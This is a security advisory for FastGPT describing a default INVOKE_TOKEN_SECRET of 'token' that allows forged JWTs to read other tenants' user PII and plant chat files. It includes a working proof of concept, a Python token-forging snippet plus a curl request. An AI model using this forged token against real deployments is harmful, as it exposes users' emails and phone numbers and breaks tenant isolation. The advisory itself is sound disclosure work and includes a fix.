Skip to content

Unauthenticated cross-tenant data access via forgeable plugin-invoke JWT (default INVOKE_TOKEN_SECRET='token')

Low
c121914yu published GHSA-w732-rq8c-chc8 Jun 23, 2026

Package

fastgpt

Affected versions

<= 4.15.0

Patched versions

None

Description

Summary

FastGPT's plugin "invoke" reverse-call endpoints (/api/invoke/*) authenticate only by verifying a JWT signed with INVOKE_TOKEN_SECRET, which defaults to the constant string 'token' (packages/service/env.ts:300) and is not set in the official deployment templates. An unauthenticated attacker can self-sign a valid HS256 JWT with secret 'token' and an arbitrary payload, fully bypassing authentication. Two handlers are reachable this way:

  • POST /api/invoke/userInfohandleGetUserInfo() resolves the user purely from the attacker-supplied tmbId (a 24-hex Mongo ObjectId, enumerable) with no cross-check against teamId, returning any user's username, registration email/phone (PII), member name, org and group names — unauthenticated cross-tenant PII disclosure.
  • POST /api/invoke/fileUploadhandleFileUpload() writes attacker-controlled content into uploadChatFile({appId, chatId, uId}) for any chat — cross-tenant chat-file planting.

Details

  • packages/service/env.ts:300: INVOKE_TOKEN_SECRET: z.string().default('token')
  • packages/service/support/invoke/invoke.ts:24: static jwtSecret = serviceEnv.INVOKE_TOKEN_SECRET; :47: jwt.verify(token, this.jwtSecret) is the only authentication for these routes.
  • projects/app/src/pages/api/invoke/userInfo.ts:18: InvokeProcessor.getInstanceFromToken(token).handleGetUserInfo(), wrapped in NextAPI(handler) (NextEntry({ beforeCallback: [] }), no session/global auth); there is no Next.js middleware gating /api/invoke/*.
  • deploy/version/main/docker-compose.template.yml: sets TOKEN_KEY / FILE_TOKEN_KEY / AES256_SECRET_KEY but omits INVOKE_TOKEN_SECRET (0 occurrences), so default/official Docker deployments run with the constant 'token'.

getInstanceFromToken only does jwt.verify + a zod schema parse; handleGetUserInfo calls getUserDetail({ tmbId }) and returns user.contact (email/phone) from the attacker-supplied tmbId (it only requires that the supplied teamId is an existing team, not that it owns the user).

Proof of Concept

TOKEN=$(python3 - <<'PY'
import jwt
print(jwt.encode({"appId":"000000000000000000000000","chatId":"x","uId":"x",
  "tmbId":"<victim_tmbId_objectid>","teamId":"<any_valid_team_objectid>","permissions":["userInfo:read"]}, "token", algorithm="HS256"))
PY
)
curl -s https://TARGET/api/invoke/userInfo -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' -d '{}'
# -> returns the victim user's username, registration email/phone, org/group, with no authentication

Impact

Unauthenticated cross-tenant disclosure of any user's PII (email, phone, names, org/group membership) and unauthenticated cross-tenant chat-file write, on any FastGPT deployment following the official Docker templates (which do not set INVOKE_TOKEN_SECRET). CWE-798 (use of hard-coded / default credential) + CWE-639 (authorization bypass through user-controlled tmbId). CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N (8.2). Preconditions: a valid victim tmbId and any valid teamId (both Mongo ObjectIds — enumerable/obtainable, reflected in AC:L).

Suggested fix

Do not ship a default for INVOKE_TOKEN_SECRET — fail closed if unset and require a strong random secret at startup (as for TOKEN_KEY), and verify the token's teamId/tmbId matches the resolved object instead of trusting the client-supplied tmbId.

Affected

labring/FastGPT — default/official Docker deployments (INVOKE_TOKEN_SECRET unset → constant 'token'). Verified at commit 53d39a8f1f375b787f945d8d0c17b643575a7af2.

Severity

Low

CVE ID

CVE-2026-61684

Weaknesses

No CWEs

Credits